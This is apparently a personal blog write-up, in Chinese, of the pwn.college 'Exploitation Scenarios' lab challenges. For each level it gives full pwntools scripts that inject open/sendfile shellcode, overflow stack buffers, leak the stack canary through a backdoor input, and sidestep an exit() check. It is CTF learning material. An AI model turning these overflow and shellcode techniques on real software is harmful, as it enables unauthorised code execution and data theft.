pwn.college: Exploitation Scenarios

This is a test of callouts.

[!Tip]
hello

Level 1

这一题是让我们先输入一段shellcode,然后输入一个buffer。最简单的想法就是通过溢出将返回地址改为shellcode地址即可。这里的shellcode简单起见直接用前面获取flag的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
r = process("/challenge/toddlerone_level1.0")
shellcode = """
mov rbx, 0x00000067616c662f # push "/flag" filename
push rbx
mov rax, 2 # syscall number of open
mov rdi, rsp # point the first argument at stack ("/flag").
mov rsi, 0 # NULL out the second argument (meaning, O_RDONLY).
syscall # trigger open("/flag", NULL).

mov rdi, 1 # first argument to sendfile is the file descriptor to output to (stdout).
mov rsi, rax # second argument is the file descriptor returned by open
mov rdx, 0 # third argument is the number of bytes to skip from the input file
mov r10, 1000 # fourth argument is the number of bytes to transfer to the output file
mov rax, 40 # syscall number of sendfile
syscall # trigger sendfile(1, fd, 0, 1000).

mov rax, 60 # syscall number of exit
syscall # trigger exit().
"""
payload = asm(shellcode, arch='amd64')

log.success(str(payload))
r.send(payload)
# return addr: 0x1d9ae000
r.sendline("112")
r.sendline(b'\xaa' * 103 +b'\xbb'+ b'\x00\xe0\x9a\x1d\x00\x00\x00\x00')

Level 2

这一题同样没有canary和aslr,而且栈上的代码可以执行。所以可以直接把shellcode输入进buffer然后overflow返回地址即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
r = process("/challenge/toddlerone_level2.0")
shellcode = """
mov rbx, 0x00000067616c662f # push "/flag" filename
push rbx
mov rax, 2 # syscall number of open
mov rdi, rsp # point the first argument at stack ("/flag").
mov rsi, 0 # NULL out the second argument (meaning, O_RDONLY).
syscall # trigger open("/flag", NULL).

mov rdi, 1 # first argument to sendfile is the file descriptor to output to (stdout).
mov rsi, rax # second argument is the file descriptor returned by open
mov rdx, 0 # third argument is the number of bytes to skip from the input file
mov r10, 1000 # fourth argument is the number of bytes to transfer to the output file
mov rax, 40 # syscall number of sendfile
syscall # trigger sendfile(1, fd, 0, 1000).

mov rax, 60 # syscall number of exit
syscall # trigger exit().
"""
payload = asm(shellcode, arch='amd64')
log.success(str(payload))
# return addr: 0x7fffffffd4f0
r.sendline("129")
r.sendline(payload+ b'\xaa'*48 +b'\xd0\xd4\xff\xff\xff\x7f\x00\x00' )
r.interactive()

Level 3

这一题的stack仍然可执行,但是有了canary,并且aslr也启用了。tong s同时还有后门,尝试输入以下REPEAT发现还是以前的后门。思路就是先用REPEAT运行一遍,获取到canary后在第二次运行时注入shellcode并overflow canary和返回地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
s = process("/challenge/toddlerone_level3.0")
shellcode = """
mov rbx, 0x00000067616c662f # push "/flag" filename
push rbx
mov rax, 2 # syscall number of open
mov rdi, rsp # point the first argument at stack ("/flag").
mov rsi, 0 # NULL out the second argument (meaning, O_RDONLY).
syscall # trigger open("/flag", NULL).

mov rdi, 1 # first argument to sendfile is the file descriptor to output to (stdout).
mov rsi, rax # second argument is the file descriptor returned by open
mov rdx, 0 # third argument is the number of bytes to skip from the input file
mov r10, 1000 # fourth argument is the number of bytes to transfer to the output file
mov rax, 40 # syscall number of sendfile
syscall # trigger sendfile(1, fd, 0, 1000).

mov rax, 60 # syscall number of exit
syscall # trigger exit().
"""
payload = asm(shellcode, arch='amd64')
log.success(str(payload))
# First run, get canary
payload1 = b'REPEAT' + b'a'*4 + b'b'
s.sendlineafter(b'Payload size: ', str(len(payload1)))
s.sendafter(b'bytes)!\n', payload1)
s.recvuntil("- the canary value is now 0x")
canary = int(s.recvline()[:-2], 16)
log.success("canary => {}".format(hex(canary)))

s.sendline("113")
print(s.recvuntil("This will allow you to write from 0x"))
addr = int(s.recv(12),16)
log.success("addr => {}".format(hex(addr)))
s.sendline(payload + b'\xaa' * 16 + p64(canary) + b'\x00' * 8 + p64(addr))
s.interactive()

Level 4

最后一题了,有点小激动。
This challenge has a trick hidden in its code. Reverse-engineer the binary right after this puts()
call to see the hidden backdoor!
Goodbye!
This challenge will, by default, exit() instead of returning from the
challenge function. When a process exit()s, it ceases to exist immediately,
and no amount of overwritten return addresses will let you hijack its control
flow. You will have to reverse engineer the program to understand how to avoid
making this challenge exit(), and allow it to return normally.
exit() condition triggered. Exiting!
这一题同样有后门,而且还有一个退出机制。测试了一下,后门仍然是REPEAT,先用上一题的代码测试一下有什么问题。输入后不显示flag,看来需要看一下源码。

1
2
3
4
if (var_18h != -0x60b4f47fafa53d83) {
puts("exit() condition triggered. Exiting!");
exit(0x2a);
}

具体的汇编代码为:

1
2
3
mov    rax,QWORD PTR [rbp-0x18]
movabs rdx,0x9f4b0b80505ac27d
cmp rax,rdx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
s = process("/challenge/toddlerone_level4.0")
shellcode = """
mov rbx, 0x00000067616c662f # push "/flag" filename
push rbx
mov rax, 2 # syscall number of open
mov rdi, rsp # point the first argument at stack ("/flag").
mov rsi, 0 # NULL out the second argument (meaning, O_RDONLY).
syscall # trigger open("/flag", NULL).

mov rdi, 1 # first argument to sendfile is the file descriptor to output to (stdout).
mov rsi, rax # second argument is the file descriptor returned by open
mov rdx, 0 # third argument is the number of bytes to skip from the input file
mov r10, 1000 # fourth argument is the number of bytes to transfer to the output file
mov rax, 40 # syscall number of sendfile
syscall # trigger sendfile(1, fd, 0, 1000).

mov rax, 60 # syscall number of exit
syscall # trigger exit().
"""
payload = asm(shellcode, arch='amd64')
log.success(str(payload))
# First run, get canary
payload1 = b'REPEAT' + b'a'*4 + b'b'
s.sendlineafter(b'Payload size: ', str(len(payload1)))
s.sendafter(b'bytes)!\n', payload1)
s.recvuntil("- the canary value is now 0x")
canary = int(s.recvline()[:-2], 16)
log.success("canary => {}".format(hex(canary)))

s.sendline("113")
print(s.recvuntil("Our stack pointer points to 0x"))
rbp = int(s.recv(12),16)
rbp = rbp + 0x40
log.success("rbp => {}".format(hex(rbp)))
print(s.recvuntil("This will allow you to write from 0x"))
addr = int(s.recv(12),16)
log.success("addr => {}".format(hex(addr)))
s.sendline(payload + b'\x7d\xc2\x5a\x50\x80\x0b\x4b\x9f' +b'\xaa' * 8 + p64(canary) + p64(rbp) + p64(addr))
s.interactive()

完结撒花


pwn.college: Exploitation Scenarios
https://adamyoung71.github.io/2022/03/22/2022-3-22-Exploitation-Scenario/
作者
Adam
发布于
2022年3月22日
许可协议